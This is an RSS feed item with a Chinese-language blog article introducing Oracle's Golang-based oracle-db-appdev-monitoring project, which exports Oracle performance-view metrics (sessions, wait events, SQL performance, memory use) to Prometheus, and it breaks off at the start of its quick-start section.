&lt;p&gt;在现代企业级架构中，数据库往往是整个系统的性能瓶颈所在。对于使用 Oracle Database 的开发团队而言，如何实时、精准地监控 SQL 执行效率、等待事件以及资源消耗，直接决定了系统的稳定性。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;oracle-db-appdev-monitoring&lt;/code&gt; 是由 Oracle 官方提供的一个基于 Golang 的开源项目，旨在为应用程序开发人员（AppDev）提供一套轻量级且高效的数据库监控方案。它不仅是一个工具，更是一套将 Oracle 内部性能视图（V$ Views）转化为可观测指标（Observability Metrics）的桥梁。&lt;/p&gt;

&lt;h2 id=&quot;一-项目核心定位&quot;&gt;一、 项目核心定位&lt;/h2&gt;

&lt;p&gt;该项目的主要目标是&lt;strong&gt;降低数据库性能分析的门槛&lt;/strong&gt;。传统的 DBA 监控通常依赖于复杂的 AWR 报告或昂贵的 Enterprise Manager (OEM)，而开发人员需要的是能够集成到 Prometheus/Grafana 体系中的实时指标。&lt;/p&gt;

&lt;p&gt;通过 Golang 的高并发特性，该项目能够高效地轮询 Oracle 数据库的动态性能视图，并将结果导出为标准格式，从而实现：
- &lt;strong&gt;实时可见性&lt;/strong&gt;：监控当前活跃会话、阻塞情况。
- &lt;strong&gt;性能趋势分析&lt;/strong&gt;：跟踪 SQL 执行时间的波动。
- &lt;strong&gt;资源预警&lt;/strong&gt;：在 CPU 或内存达到阈值前发出通知。&lt;/p&gt;

&lt;h2 id=&quot;二-核心架构与工作原理&quot;&gt;二、 核心架构与工作原理&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;oracle-db-appdev-monitoring&lt;/code&gt; 采用了典型的“采集-转换-导出”架构：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;采集层 (Collector)&lt;/strong&gt;：利用 Golang 的 &lt;code&gt;database/sql&lt;/code&gt; 驱动（通常配合 &lt;code&gt;godror&lt;/code&gt;）连接 Oracle 实例。它预定义了一系列针对 &lt;code&gt;V$SESSION&lt;/code&gt;, &lt;code&gt;V$SQL&lt;/code&gt;, &lt;code&gt;V$SYSSTAT&lt;/code&gt; 等核心视图的查询语句。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理层 (Processor)&lt;/strong&gt;：将 Oracle 返回的行记录转换为结构化的指标数据。例如，将 &lt;code&gt;WAIT_CLASS&lt;/code&gt; 转换为 Prometheus 的 Label。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出层 (Exporter)&lt;/strong&gt;：提供一个 HTTP 端点（通常是 &lt;code&gt;/metrics&lt;/code&gt;），允许 Prometheus 等监控系统定期抓取数据。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;三-关键监控维度&quot;&gt;三、 关键监控维度&lt;/h2&gt;

&lt;p&gt;该项目重点关注以下几个对开发人员至关重要的维度：&lt;/p&gt;

&lt;h3 id=&quot;1-会话与连接监控-session-monitoring&quot;&gt;1. 会话与连接监控 (Session Monitoring)&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;活跃会话数&lt;/strong&gt;：监控 &lt;code&gt;V$SESSION&lt;/code&gt; 中状态为 &lt;code&gt;ACTIVE&lt;/code&gt; 的会话，判断是否存在连接池溢出或死锁。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;等待事件 (Wait Events)&lt;/strong&gt;：分析会话在等待什么（如 &lt;code&gt;db file sequential read&lt;/code&gt; 或 &lt;code&gt;enq: TX - row lock contention&lt;/code&gt;），快速定位是 IO 瓶颈还是行锁竞争。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;2-sql-执行性能-sql-performance&quot;&gt;2. SQL 执行性能 (SQL Performance)&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;慢查询追踪&lt;/strong&gt;：通过监控 &lt;code&gt;V$SQL&lt;/code&gt; 视图，识别执行时间最长或资源消耗最高的 SQL 语句。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解析率 (Parse Rate)&lt;/strong&gt;：监控硬解析（Hard Parse）频率，帮助开发人员优化绑定变量的使用，减少共享池压力。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3-数据库资源利用率-resource-utilization&quot;&gt;3. 数据库资源利用率 (Resource Utilization)&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CPU 与内存&lt;/strong&gt;：监控 SGA 和 PGA 的使用情况。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事务提交/回滚率&lt;/strong&gt;：评估业务逻辑的稳定性。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;四-快速上手实例&quot;&gt;四、 快速上手实例&lt;/h2&gt;

&lt;p&gt;要运行此项目，你需要一个可访问的 Oracle 数据库实例以及安装&lt;/p&gt;
</description><pubDate>Mon, 02 Nov 2026 04:33:58 +0800</pubDate></item></channel></rss>